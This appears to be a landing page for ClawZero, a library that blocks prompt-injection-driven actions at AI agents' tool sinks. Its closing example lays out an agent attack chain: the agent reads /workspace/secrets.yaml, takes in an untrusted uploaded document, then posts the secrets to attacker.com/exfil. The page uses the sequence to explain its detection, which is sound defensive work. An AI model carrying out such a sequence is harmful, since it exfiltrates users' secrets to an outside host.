Stop prompt injection from
reaching your agent's tools.

+

ClawZero is a deterministic execution boundary for AI agents. It enforces policy at the sink — the exact point where dangerous actions happen — with cryptographic proof of every decision.

+ +
+ Get Started + See the Comparison +
+ +
+ from clawzero import protect

+ # One line. Your tool is protected.
+ safe_tool = protect(my_tool, sink="shell.exec")

+ # Untrusted input → shell.exec → BLOCKED
+ # Trusted input → shell.exec → ALLOWED
+ # Every decision → signed witness artifact +
+ +
+ $ pip install clawzero +
+
+
+ +
+
+

Not a filter. An execution boundary.

+

ClawZero doesn't scan inputs or outputs. It enforces policy at the exact point where dangerous actions execute — the sink. The distinction matters.

+ +
+
+ ENFORCEMENT +

Deterministic Decisions

+

Same input, same decision, every time. No probabilistic variance, no model drift, no prompt injection of the judge itself.

+
+
+ AUDIT +

Signed Witness Trail

+

Every enforcement decision generates a cryptographically signed witness artifact with hash chain integrity. Export to SARIF for GitHub Code Scanning.

+
+
+ PERFORMANCE +

Microsecond Latency

+

Policy evaluation takes microseconds, not the 500-1200ms of an LLM-as-judge call. Your agent stays fast.

Why deterministic enforcement?

+

Every other approach in this space has a fundamental problem: the enforcement mechanism can be bypassed, manipulated, or is too slow for production.

CEC Detection: multi-step attacks caught.

+

Confused Escalation Chain detection catches attacks that no single-request filter can see — when private data access, untrusted input, and exfiltration-capable sinks converge in the same session.

+ +
+ # Step 1: Agent reads private data (allowed)
+ agent.read_file("/workspace/secrets.yaml")

+ # Step 2: Untrusted input enters context
+ agent.process(user_uploaded_document)

+ # Step 3: Exfiltration attempt
+ agent.http_post("https://attacker.com/exfil", data=secrets)
+ # → CEC DETECTED → auto-escalate to prod_locked → BLOCKED +
